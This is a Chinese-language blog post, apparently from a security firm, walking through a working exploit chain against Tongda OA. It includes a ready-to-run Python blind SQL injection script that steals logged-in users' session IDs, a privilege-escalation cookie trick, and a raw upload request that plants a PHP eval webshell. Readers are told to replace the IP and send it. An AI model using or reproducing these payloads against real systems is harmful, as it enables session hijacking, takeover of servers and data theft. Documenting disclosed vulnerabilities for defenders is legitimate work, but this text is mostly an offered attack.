sql server哪个版本好用_关于通达OA前台SQL注入到getshell利用思路

d2347e4732465e898a5576fa87f601c5.gif

0x00 前言

对于渗透测试来说, 后台的SQL注入其实是很鸡肋的, 所以我们的突破点一定是从一个前台的漏洞开始, 比如前台SQL注入. 通达OA的前台SQL注入, 根据之前公开的文章推测数量应该是有多个, 但都没有明确给出payload, 对于没有代码审计能力的人来说是无法直接利用的.

通达OA的数据库为MYSQL, MYSQL注入常用的利用方式:

(1)当前数据库账户拥有读写权限且知道物理路径的时候直接写shell.

(2)当前注入点支持多语句执行且知道物理路径的时候利用数据库日志导出写shell.

(3)读取管理员帐号密码进入后台, 寻找新的突破点, 如任意文件上传漏洞写shell.

但这些均不适用于通达OA. 通达OA虽然默认是root用户, 但却没有启用读写权限, 本篇文章所涉及到的SQL注入也不支持堆叠注入, 且数据库存储的帐号密码是加密的, 不容易解密.

那么我们要如何利用呢?

0x01 SQL注入获取PHPSESSID

给出payload

经过测试,已知的影响版本: 2015/2016/2017

不影响v11以上版本,其他未知.

/general/document/index.php/recv/register/insert(POST)title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=

条件为真时返回302跳转到404, 为假时利用exp()函数报错,提示"SQL语句执行错误",验证注入点存在

ff820da1ef27b6b74166b4e40c04ef45.png

9b204cb3c62a0bbd2e93057a120b847e.png

先给利用语句

select SID from user_online limit 1;

通达OA数据库中有一张表(user_online)是存储当前处于登陆状态的帐号的认证凭证的,也就是PHPSESSID只要能够获取到这个值,我们就可以伪造Cookie登陆后台

f479f91c245cba55aff0a30f68be312c.png

UID等于1即为管理员的凭证(后台多种getshell的方式都是需要管理员权限的)

f5b3e34901ef1cd04cf0d013f398f49f.png

同一个账户是可以同时异地登录产生多个SID的值,我们只需获取一个即可, 加上 limit1 防止多个返回结果导致的报错,减少麻烦.

d0de9e84fcd177e9284962349dfa918f.png

baec14bc35b0fd813d5925ac695f894a.png

好了,现在我们已经清楚了了解了数据库的这张表的作用了,现在我们需要一个注入点,上面已给出.

有了注入点也还不够,我们还需要一个脚本给够辅助我们快速的获取到想要的值

(默认的sqlmap是不能识别这个注入点的)

嗯,脚本也已经给大家准备好了,只需把代码中的"127.0.0.1"更改为目标IP即可使用.

当然,你需要提前判断是否存在注入

# -*- coding:utf-8 -*-import requestsdef hello(url, payload):    result = ""    payload_bak = payload    for len in range(1, 27):        str = '0'        for i in range(0, 7):            payload = payload.format(len, 6 - i, int(str + '0', 2))            data = {payload: "1", "_SERVER": ""}            r = requests.post(url, data=data, timeout=10, verify=False, allow_redirects=False)            # print(r.status_code)            if r.status_code == 302:                str = str + '0'            elif r.status_code == 500:                str = str + '1'            else:                hello(url, payload)            payload = payload_bak        result += chr(int(str, 2))        if int(str, 2) == 127:            print("系统当前无正在登录的用户...")            return result        print("第%d位为: %s" % (len, chr(int(str, 2))))    return resultdef main():    url = "http://127.0.0.1/general/document/index.php/recv/register/insert"    payload = """title)values("'"^exp(if((ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/1),{},1))>>{}={}),1,710)))# """    print("PHPSESSID=%s" % hello(url, payload))if __name__ == "__main__":    main()

这里我只登录了一个账户,运行脚本通过SQL注入获取到PHPSESSID值

01c5d12f7aa83c9600c70ddf6581b761.png

查看浏览器的Cookie,对比可以发现是一样的

e641278fe4d2993e2e533b215b0c078c.png

有了PHPSESSID,我们就可以登录后台getshell,实际上我们并不需要登录,只需要伪造Cookie发个数据包即可.

请往下看.

0x02 后台getshell

后台getshell的方式多种,这里举例一种比较好用的,也是影响范围最大的.

经过测试,已知的影响版本:2017版/v11.0-v11.6

payload如下,直接拿过去用burp发包就行,需要修改的地方有两个

目标IP与Cookie中PHPSESSID的值(SQL注入获取到的SID)

POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1Host: 192.168.238.141User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 173Cookie: PHPSESSID=slq5jj6unfhpo9ekgcfevvbdu0Content-Type: multipart/form-data; boundary=c634d2ccb38357de0be7d154d21ebf07--c634d2ccb38357de0be7d154d21ebf07Content-Disposition: form-data; name="FILE1"; filename="hack.php"<?php  eval(@$_POST['a']); ?>--c634d2ccb38357de0be7d154d21ebf07--

这里我们拿到一个管理员的Cookie,替换之后尝试发包...

可以看到,提示没有权限,这里我们需要另一个漏洞来提升当前用户的权限.

2c01d2d1e934e4e9afb141afb8fdcf0d.png

给出payload

Cookie:_SERVER=

变量覆盖漏洞导致的权限提升,具体可看代码,网上也已有一些分析的文章.

Cookie中加入_SERVER,值为空即可,发包

53b269a2d8f1a060b73de8c0b49a684e.png

查看服务器

8bbc8f03cd085210b93bf3e46a428866.png

返回shell路径为: http://192.168.238.141/_hack.php

蚁剑连接,成功

5394c8167e18819c73059169e8e4e6c1.png

0x03 说明

1.相对于系统管理员当前在线的概率, 其他任意一个用户在线的概率会大很多, 我们不需要强求获取一个高权限的PHPSESSID

2.本篇文章中所涉及到的漏洞均已公开.

0x04 参考文章

https://mp.weixin.qq.com/s/zH13q6xBRc58ggHqfKKi_g

https://mp.weixin.qq.com/s/Mxa70ew_8ZmoBBaa7Ou0sQ

https://github.com/TomAPU/poc_and_exp/blob/master/rce.py

武汉安域安全服务部(作者:xinyu)

公司地址:武汉市洪山区徐东大街69号

华中电力大厦9层

公司邮箱:whay@wuhananyu.com

如有任何疑问,请您随时联系,感谢您的支持!

3d4c64b8ec3008d27e2c3c4cbff251b6.png

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值